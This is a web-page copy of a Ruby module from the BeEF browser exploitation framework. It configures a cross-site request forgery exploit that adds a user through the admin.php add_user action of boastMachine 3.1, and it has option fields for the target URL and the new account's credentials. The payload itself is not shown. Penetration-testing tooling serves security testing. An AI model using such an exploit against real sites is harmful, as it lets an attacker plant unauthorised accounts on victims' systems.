Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Boastmachine_add_user_csrf < BeEF::Core::Command
7
def self.options
8
[
9
{ 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog' },
10
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },
11
{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },
12
{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => '[email protected]' }
13
]
14
end
15
16
def post_execute
17
save({ 'result' => @datastore['result'] })
18
end
19
end
20
21